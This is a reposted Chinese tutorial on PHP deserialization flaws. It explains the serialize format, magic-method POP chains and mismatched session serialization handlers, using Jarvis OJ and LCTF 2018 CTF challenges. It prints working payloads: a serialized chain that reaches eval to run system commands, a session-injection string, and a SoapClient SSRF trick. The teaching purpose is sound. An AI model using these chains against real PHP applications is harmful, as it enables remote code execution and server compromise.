2019-05-09 20:28:169898人阅读
前言
近期因为内部培训有序列化的需求,于是趁此机会由浅入深的剖析一下序列化相关内容。
之前也写过由浅入深的xml漏洞系列,欢迎阅读:
https://skysec.top/2018/08/17/浅析xml及其安全问题/
https://skysec.top/2018/08/18/浅析xml之xinclude-xslt/
序列化的概念
简单概括来说,序列化即保存对象在内存中的状态,也可以说是实例化变量。在传递一个对象的时候,或是需要把对象保存在文件/数据库中时,就必须用序列化。
序列化样例
以php官方手册样例为例:
<?php
class SimpleClass
{
// 声明属性
public $var = 'a default value';
// 声明方法
public function displayVar() {
echo $this->var;
}
}
?>
这样一来我们写了一个简单的类样例,类中包含一个属性和一个方法。
我们可以通过如下方式对类的属性进行赋值,对类的方法进行调用:
$sky = new SimpleClass();
$sky->var = 'sky is cool!';
$sky->displayVar();
我们观察一下序列化后字符串的格式:
$sky = serialize($sky);
var_dump($sky);
得到如下内容:
O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}
O代表存储的是对象(object),11表示对象的名称有11个字符,"SimpleClass"表示对象的名称,1表示有一个值。
大括号内s表示字符串,3表示该字符串的长度,"var"为字符串的名称,紧跟着是该字符串的值,规则同理。
相同的,如果序列化数组,得到结果如下:
$sky1 = new SimpleClass();
$sky1->var = 'sky is cool!';
$sky2 = new SimpleClass();
$sky2->var = 'wq is cool!';
$sky3 = new SimpleClass();
$sky3->var = 'sy is cool!';
$sky4 = array($sky1,$sky2,$sky3);
var_dump(serialize($sky4));
得到如下内容:
a:3:{i:0;O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}i:1;O:11:"SimpleClass":1:{s:3:"var";s:11:"wq is cool!";}i:2;O:11:"SimpleClass":1:{s:3:"var";s:11:"sy is cool!";}}
与之前不同的,多了a和i,a表示数组,数字3表示数组中有3个元素,i:0表示第一个元素,i:1表示第二个元素,i:2表示第三个元素。其他规则与之前一致。
相应的,将这组字符串传递后,我们接受后,使用unserialize()进行反序列化,如下:
$sky1 = 'a:3:{i:0;O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}i:1;O:11:"SimpleClass":1:{s:3:"var";s:11:"wq is cool!";}i:2;O:11:"SimpleClass":1:{s:3:"var";s:11:"sy is cool!";}}';
$sky2 = 'O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}';
var_dump(unserialize($sky1));
var_dump(unserialize($sky2));
发现反序列化成功,我们已将之前存储的对象成功复原。
魔法方法漏洞
魔法方法样例
了解之前的原理后,我们首先看一个最简单的反序列化漏洞:
还是之前的代码,我们发现最后我们并没有进行方法调用,但成功触发了__toString()方法,这就是魔法方法的魅力。
魔法方法往往不需要用户调用,在特定条件下会自动触发,相关魔法方法在php官方手册中写的非常清楚了,就不再赘述:
https://www.php.net/manual/zh/language.oop5.magic.php
这里的__toString方法之所以触发成功,是因为我们将对象当做字符串输出,符合__toString方法的条件,所以成功触发了该方法。如果将echo换成var_dump则不会触发该方法。
魔法方法实战(一)
例如在Jarvis OJ上的一题:
http://web.jarvisoj.com:32768
index.php
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
我们可以看到是一个非常简单的类,其中定义了1个属性和2个方法,其中便有魔法方法__construct(),通过查阅官方手册我们知道:具有构造函数的类会在每次创建新对象时先调用此方法。所以刚方法在初始化的时候便会自动调用,那么这里要涉及一个先后顺序,是我们赋值先进行,还是__construct()先进行,这里做一个简单测试:
从该测试不难看出,在new的时候__construct()已经出发,下一次赋值后即可将var属性覆盖。
回到题目中,在反序列化后,题目进行了如下调用:
echo $x->readfile();
而该方法有任意文件读取问题。
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
所以答案也呼之欲出了,我们将file的值赋值为pctf.php即可getflag,需要注意的是我们的赋值是在魔法方法__construct()之后,所以并不会被置空。
魔法方法实战(二)
刚才的案例或许比较简单,我们在这样的基础上提高难度。
<?php
class A
{
public $a;
public function __toString() {
eval($this->a);
return '1';
}
}
class B
{
public $b;
public function __call($name, $arguments) {
echo $this->b;
}
}
class C
{
public $c;
public function __destruct() {
return $this->c->no();
}
}
unserialize($_GET['sky']);
?>
我们观察到整个代码里有3个类,每个类里各一个属性,一个魔法方法。而最危险的函数为class A,其中有一步:
eval($this->a);
如果想控制a的值是非常容易的,但是如何触发该方法是个问题,通过之前的案例,我们知道__toString()在对象被当做字符串输出的时候会自动触发,但程序的输入点中并没有echo等操作,所以直接对A进行序列化攻击是无效的。
那么我们寻找是否有将对象当做字符串输出的点:
public function __call($name, $arguments) {
echo $this->b;
}
发现class B中有echo操作,会输出$b的值,我们也知道$b的值很容易控制,但是如何触发__call()方法呢?
查阅官方手册,我们发现:在对象中调用一个不可访问方法时,__call() 会被调用。
所以下一步我们要继续寻找,是否有对象调用了不可访问方法:
public function __destruct() {
return $this->c->no();
}
我们再class C中发现__destruct()魔法方法,其中调用了不可访问方法no(),我们看一下如何触发:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
所以整个利用链呼之欲出了:
1.使用Class C中的__destruct()触发不可访问方法调用。
2.通过不可访问方法调用触发Class B中__call方法。
3.通过__call方法中的echo,使其输出对象,触发ClassA中__toString方法。
4.通过Class A中的$a进行RCE。
所以我们可以完整构造如下:
$sky1 = new A();
$sky1->a = "system('ls /tmp');";
$sky2 = new B();
$sky2->b = $sky1;
$sky3 = new C();
$sky3->c = $sky2;
var_dump(serialize($sky3));
即可完成利用,进行RCE。
· session序列化引擎漏洞
· session序列化引擎样例
众所周知,session会将数据以序列化的格式存储在服务端,我们写如下测试代码:
<?php
session_start();
$_SESSION['login_ok'] = true;
$_SESSION['name'] = 'sky';
$_SESSION['age'] = 9999;
我们从默认路径找到session数据:
/var/lib/php/sessions/sess_027m6oo5ok4e22qaevsag7r7m0
内容为:
login_ok|b:1;name|s:3:"sky";age|i:9999;
那么这是什么存储格式呢?查阅相关手册,可以得知session序列化具有以下3种不同的引擎:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值。
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值。
而在没有指定引擎的时候,会默认使用php引擎。
如果我们指定引擎:
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['login_ok'] = true;
$_SESSION['name'] = 'sky';
$_SESSION['age'] = 9999;
此时session文件内容变为:
a:3:{s:8:"login_ok";b:1;s:4:"name";s:3:"sky";s:3:"age";i:9999;}
那么如果程序在存储session时用的引擎与解码session时用的引擎不同,是否会触发问题呢?答案是显然的。
session序列化引擎漏洞实战(一)
还是以Jarvis OJ的一道题做样例
http://web.jarvisoj.com:32784/
源码如下:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
在本题中我们看到,从头到尾并未有传入序列化和反序列化的点。但是翻阅phpinfo():
熟悉的同学应该都知道,一旦session.upload_progress.enabled开启,我们是可以控制session文件内容的,可参考这篇文章:https://skysec.top/2018/04/04/amazing-phpinfo/#session-upload-progress。
这样一来,我们即可控制session文件内容,在触发session读取的时候,会进行反序列化。根据代码不难发现,2个魔法方法都是我们之前提及的:
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
我们可控制$mdzz进行任意RCE,例如:
O:5:"OowoO":1:{s:4:"mdzz";s:22:"var_dump(scandir('.'))";}
但是紧接着问题又来了,我们的input为php_serialize,但题目的引擎为php,那么如何让他进行成功反序列化呢?
这里就要和php的格式有关了,我们根据之前的内容知道:php存储方式是,键名+竖线+经过serialize()函数序列处理的值。
那么竖线之前为键名,竖线之后为经过serialize()函数序列处理的值,所以我们只要构造如下poc:
|O:5:"OowoO":1:{s:4:"mdzz";s:22:"var_dump(scandir('.'))";}
即可成功利用php的解析规则,让我们的恶意序列化payload被当做key然后经过反序列化被成功触发。
那么为什么程序会反序列化呢?下图给了我们很好的解释:
session序列化引擎漏洞实战(二)
又如2018 LCTF这样一道题:
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
题目要求我们用上述代码,进行SSRF,仿造127.0.0.1请求flag.php即可拿到flag。同时作者禁用了一些危险函数。详细的题解我已经写在这篇文章了:https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge。此处我们只做一些思路上的剖析。
首先我们观察到两个命令执行函数:
call_user_func($_GET[f],$_POST);
call_user_func($b,$a);
第一行想进行RCE还是非常容易的,我们直接传递两个参数即可。但第二行看起来并不可控。实际上我们可以用变量覆盖的思想,使用第一行覆盖$b,也能有一些用处,例如:
/?f=extract
b=call_user_func
那么这道题如何进行SSRF呢?实际上这和php的内置类有关:SoapClient。
这个类非常有趣,他有一个魔法方法为:__call,我们可以利用该方法触发我们想做的操作。这里就不再展开SoapClient的通信功能了。有兴趣可以去看上述链接。
我们知道魔法方法__call的触发方式是对象调用不可访问方法,那么本题里怎么让SoapClient调用不可访问方法呢?之前我说过b参数可以覆盖为call_user_func,这样答案就呼之欲出了:
如图即可成功触发SoapClient调用不可访问方法:welcome_to_the_lctf2018,触发后对象将会发起通讯请求,模拟127.0.0.1访问flag.php。
那么如何先把对象存入程序呢?这里即用到之前所说的session序列化引擎的问题。我们可以先让序列化引擎为php_serialize,在取出数据时,不指定引擎,则默认使用php引擎去反序列化,从而达成不被引擎的解析结构所干扰的目的。
那么如何设置session序列化引擎呢?这里我们利用如下这行命令即可:
call_user_func($_GET[f],$_POST);
然后发起如下请求,即可达到目的:
/?f=session_start
serialize_handler=php
后记
由于篇幅有限,本篇文章只能暂且两则知识点:1.利用魔法方法攻击,2.利用session序列化引擎攻击。
本文作者一叶飘零,zhuan'za转载自嘶吼,原文链接 https://www.4hou.com/web/17835.html